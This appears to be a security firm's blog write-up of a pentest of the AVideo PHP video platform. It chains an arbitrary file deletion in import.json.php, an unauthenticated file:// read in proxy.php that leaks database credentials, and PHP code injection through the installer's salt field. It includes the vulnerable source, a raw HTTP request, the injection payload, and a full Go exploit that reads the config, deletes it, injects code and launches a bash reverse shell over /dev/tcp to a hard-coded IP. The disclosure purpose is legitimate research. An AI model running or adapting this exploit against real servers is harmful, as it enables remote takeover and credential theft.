This is part of Cube01 researches
In this article we will cover security issues in AVideo open-source project that led to RCE.
What is AVideo (Audio Video Platform) anyway?
AVideo is a term that means absolutely nothing, or anything video. Since it doesn't mean anything the brand simply is identifiable with audio video. AVideo Platform is an Audio and Video Platform or simply "A Video Platform".
The project is written in PHP and has more 1k starts on Github and more than 4k live websites. We did a pentest as a project for a client that use AVideo in a live production.
The project is intriguing with many functions and files, so we started to work on the platform in order to create a threat model.
After we take a look at the project internals we take few notes that included:
User::isAdmin()
method.
So in source code reviewing phase we found a lot of interesting endpoints. After taking a deep look into source code
there was an interesting file (objects/import.json.php):
x<?php
global $global, $config;
if(!isset($global['systemRootPath'])){
require_once '../videos/configuration.php';
}
header('Content-Type: application/json');
if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
return false;
}
$obj = new stdClass();
$obj->error = true;
$obj->fileURI = pathinfo($_POST['fileURI']);
//get description
$filename = $obj->fileURI['dirname'].DIRECTORY_SEPARATOR.$obj->fileURI['filename'];
$extensions = array('txt', 'html', 'htm');
$length = intval($_POST['length']);
if(empty($length) || $length>100){
$length = 100;
}
foreach ($extensions as $value) {
$_POST['description'] = "";
$_POST['title'] = "";
if(file_exists("{$filename}.{$value}")){
$html = file_get_contents("{$filename}.{$value}");
$breaks = array("<br />","<br>","<br/>");
$html = str_ireplace($breaks, "\r\n", $html);
$_POST['description'] = $html;
$cleanHTML = strip_tags($html);
$_POST['title'] = substr($cleanHTML, 0, $length);
break;
}
}
$tmpDir = sys_get_temp_dir();
$tmpFileName = $tmpDir.DIRECTORY_SEPARATOR.$obj->fileURI['filename'];
$source = $obj->fileURI['dirname'].DIRECTORY_SEPARATOR.$obj->fileURI['basename'];
if (!copy($source, $tmpFileName)) {
$obj->msg = "failed to copy $filename...\n";
die(json_encode($obj));
}
if(!empty($_POST['delete']) && $_POST['delete']!=='false'){
if(is_writable($source)){
unlink($source);
foreach ($extensions as $value) {
if(file_exists("{$filename}.{$value}")){
unlink("{$filename}.{$value}");
}
}
}else{
$obj->msg = "Could not delete $source...\n";
}
}
$_FILES['upl']['error'] = 0;
$_FILES['upl']['name'] = $obj->fileURI['basename'];
$_FILES['upl']['tmp_name'] = $tmpFileName;
$_FILES['upl']['type'] = "video/mp4";
$_FILES['upl']['size'] = filesize($tmpFileName);
require_once $global['systemRootPath'] . 'view/mini-upload-form/upload.php';
echo json_encode($obj);
As you can see the check is being done with the following code:
x
if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
return false;
}
If the user can upload video and doNotShowImportMP4Button is disabled we can pass to the next lines.
The vulnerable line is the following at line 51:
xxxxxxxxxx
unlink($source);
Why?
The unlink function is designed to delete files and AVideo provides a way to reset the web application by deleting the config file in the path /videos/configuration.php.
The $source
variable is the file path that has been aggregated at line 42:
xxxxxxxxxx
$source = $obj->fileURI['dirname'].DIRECTORY_SEPARATOR.$obj->fileURI['basename'];// soruce = dir + filename
fileURI
is an array that has been assigned at line 16:
xxxxxxxxxx
$obj->fileURI = pathinfo($_POST['fileURI']); // fileURI=../video/configuration.php
So to delete the config file we have to send a POST request to the import.json.php file. Also, we must include a value to $_POST['delete']
in order to access the code block of the vulnerable line.
There are 2 scenarios to exploit this issue in order to escalate the user's privilege:
$global['disableAdvancedConfigurations'] = 1;
it is like safe mode where admin can do nothing harmful to the server more info.
As a result, we created a user with upload permission and disabled the doNotShowImportMP4Button. We sent the following request using Burp Suite:
x
POST /avideo/objects/import.json.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: http127001avideo=6t52ec7dsiojanu6feim3bg8ml;
Connection: close
Content-Length: 44
delete=1&fileURI=../videos/configuration.php
After sending the request the file was deleted and we got redirected to install page!
We filed a bug but there is more!
In case you were able to reproduce the previous vulnerability there are 2 points that you should take care of:
Under those circumstances we have to find the current database credential. And that's what we did!
We scanned the plugin folder in order to find interesting functions and we found something in /plugin/LiveLinks/proxy.php
x
<?php
require_once '../../videos/configuration.php';
session_write_close();
try {
$global['mysqli']->close();
} catch (Exception $exc) {
//echo $exc->getTraceAsString();
}
/*
* this file is to handle HTTP URLs into HTTPS
*/
if (!filter_var($_GET['livelink'], FILTER_VALIDATE_URL)) {
echo "Invalid Link";
exit;
}
header("Content-Type: video/vnd.mpegurl");
header("Content-Disposition: attachment;filename=playlist.m3u");
$content = url_get_contents($_GET['livelink']);
$pathinfo = pathinfo($_GET['livelink']);
foreach (preg_split("/((\r?\n)|(\r\n?))/", $content) as $line) {
$line = trim($line);
if (!empty($line) && $line[0] !== "#") {
if (!filter_var($line, FILTER_VALIDATE_URL)) {
if(!empty($pathinfo["extension"])){
$_GET['livelink'] = str_replace($pathinfo["basename"], "", $_GET['livelink']);
}
$line = $_GET['livelink'].$line;
}
}
echo $line.PHP_EOL;
}
The line below is vulnerable to File Inclusion
xxxxxxxxxx
$content = url_get_contents($_GET['livelink']);
And even more there are no authentication check so anyone can exploit this issue by sending a GET request to the file
However, we must bypass the check in the following code
xxxxxxxxxx
if (!filter_var($_GET['livelink'], FILTER_VALIDATE_URL)) {
echo "Invalid Link";
exit;
}
We only need a valid URL with any URI scheme (file://, ftp://, php://, ...etc) in this case I can read the configuration.php file using the file URI scheme (file:///C:/xampp/htdocs/AVideo/videos/configuration.php)
We have the database credential now :)
After this we can achieve RCE using pulgin upload in case of the permissions is limited for the plugin folder we found another way to execute the PHP code using the install folder. In /install/checkConfiguration.php there is way to inject PHP code in configuration.php file.
x
if(empty($_POST['salt'])){
$_POST['salt'] = uniqid();
}
$content = "<?php
\$global['configurationVersion'] = 2;
\$global['disableAdvancedConfigurations'] = 0;
\$global['videoStorageLimitMinutes'] = 0;
if(!empty(\$_SERVER['SERVER_NAME']) && \$_SERVER['SERVER_NAME']!=='localhost' && !filter_var(\$_SERVER['SERVER_NAME'], FILTER_VALIDATE_IP)) {
// get the subdirectory, if exists
\$subDir = str_replace(array(\$_SERVER[\"DOCUMENT_ROOT\"], 'videos/configuration.php'), array('',''), __FILE__);
\$global['webSiteRootURL'] = \"http\".(!empty(\$_SERVER['HTTPS'])?\"s\":\"\").\"://\".\$_SERVER['SERVER_NAME'].\$subDir;
}else{
\$global['webSiteRootURL'] = '{$_POST['webSiteRootURL']}';
}
\$global['systemRootPath'] = '{$_POST['systemRootPath']}';
\$global['salt'] = '{$_POST['salt']}'; // RCE at this line
\$global['disableTimeFix'] = 0;
\$global['enableDDOSprotection'] = 1;
\$global['ddosMaxConnections'] = 40;
We just need to pass $_POST['salt']
as: 123'; exec($_GET["x"]);//
Then visit http://127.0.0.1/avideo/videos/configuration.php?x=[OS_COMMAND_HERE]
So we are now able to execute system commands in the server!
Now it is the time to combine all of these findings in order to gain shell on the vulnerable system. First, you must turn off doNotShowImportMP4Button in order to the exploit works.
You can find the exploit in GitHub here or copy it from here:
x
package main
import (
"encoding/json"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
"github.com/fatih/color"
)
type credential struct {
mysqlHost string
mysqlUser string
mysqlPass string
}
type advancedCustom struct {
DoNotShowImportMP4Button bool
}
type cookie struct {
name string
value string
}
func checkRequirments(link string) bool {
var setting advancedCustom
rs, err := http.Get(link + "plugin/CustomizeAdvanced/advancedCustom.json.php")
if err != nil {
color.Red("[x] Unable to check requirments")
panic(err)
}
defer rs.Body.Close()
jsonRes, err := ioutil.ReadAll(rs.Body)
if err != nil {
panic(err)
} else {
json.Unmarshal(jsonRes, &setting)
if setting.DoNotShowImportMP4Button {
return false
} else {
return true
}
}
}
func login2cookie(link string, user string, password string) cookie {
var c cookie
resp, err := http.PostForm(link+"objects/login.json.php",
url.Values{"user": {user}, "pass": {password}, "rememberme": {"false"}})
if err != nil {
color.Red("[x] Unable to login")
panic(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
stringBody := string(body)
user = strings.Split(strings.Split(stringBody, "\"user\":")[1], ",")[0]
if user == "false" {
color.Red("[x] Unable to login (wrong username/password)")
os.Exit(1)
}
for _, cookie := range resp.Cookies() {
if cookie.Name != "user" && cookie.Name != "pass" && cookie.Name != "rememberme" {
c.name = cookie.Name
c.value = cookie.Value
}
}
color.Green("[x] Logged in successfully!")
return c
}
func readConfig(link string) credential {
var cred credential
// File path is set to ubuntu change it based on the server os and filename
resp, err := http.Get(link + "plugin/LiveLinks/proxy.php?livelink=file:///C:/xampp/htdocs/AVideo/videos/configuration.php")
if err != nil {
color.Red("[X] Unable to read config file")
panic(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
stringBody := string(body)
cred.mysqlHost = strings.Split(strings.Split(stringBody, "$mysqlHost = '")[1], "'")[0]
cred.mysqlUser = strings.Split(strings.Split(stringBody, "$mysqlUser = '")[1], "'")[0]
cred.mysqlPass = strings.Split(strings.Split(stringBody, "$mysqlPass = '")[1], "'")[0]
color.Green("[X] Config file has been read!")
return cred
}
func deleteConfig(link string, c cookie) {
client := &http.Client{}
PostData := strings.NewReader("delete=1&fileURI=../videos/configuration.php")
req, err := http.NewRequest("POST", link+"objects/import.json.php", PostData)
// Set cookie
req.Header.Set("Cookie", c.name+"="+c.value)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
_, err = client.Do(req)
if err != nil {
color.Red("[x] Unable to delete config file!")
panic(err)
}
color.Green("[x] Config file has been deleted!")
}
func injectCode(link string, cred credential) {
rceCode := "x';echo exec($_GET[\"x\"]); ?>" // PHP code that will be injected in the configuration file
client := &http.Client{}
// Change systemRootPath based on the OS
PostData := strings.NewReader(`webSiteRootURL=` + link + `&systemRootPath=/var/www/html/avideo/&webSiteTitle=AVideo&databaseHost=` + cred.mysqlHost + `&databasePort=3306&databaseUser=` + cred.mysqlUser + `&databasePass=` + cred.mysqlPass + `&databaseName=aVideo212&mainLanguage=en&systemAdminPass=123456&contactEmail=tes@test.com&createTables=2&salt=` + rceCode)
req, err := http.NewRequest("POST", link+"install/checkConfiguration.php", PostData)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
_, err = client.Do(req)
if err != nil {
color.Red("[x] Unable to inject code!")
panic(err)
}
color.Green("[x] Code has been injected into the config file!")
// Initate the reverse shell (reverse shell)
_, err = http.Get(link + "videos/configuration.php?x=%2Fbin%2Fbash -c 'bash -i > %2Fdev%2Ftcp%2F192.168.153.138%2F8080 0>%261'%0A")
if err != nil {
color.Red("[X] Unable to send request!")
panic(err)
}
color.Green("[x] Check your nc ;)")
}
func main() {
var reqCookie cookie
var dbCredential credential
args := os.Args[1:]
if len(args) < 3 {
color.Red("Missing arguments")
os.Exit(1)
}
url := args[0] // link
u := args[1] // username
p := args[2] // password
// Check doNotShowImportMP4Button status
if !checkRequirments(url) {
color.Red("[x] doNotShowImportMP4Button is not disabled! exploit won't work :( if you are admin disable it from advancedCustom plugin")
os.Exit(1)
}
// Get database credentials
dbCredential = readConfig(url)
// Get user cookie
reqCookie = login2cookie(url, u, p)
// Delete config
deleteConfig(url, reqCookie)
// Inject PHP code
injectCode(url, dbCredential)
}
Usage
go run AVideo3xploit.go http://[target]/avideo/ username password
Tested on Ubuntu latest version, result:
We will publish the static analyzer that we created during the pentest here
If you think your site/app/network are secure and want to make sure about that then
give us a call contact@cube01.io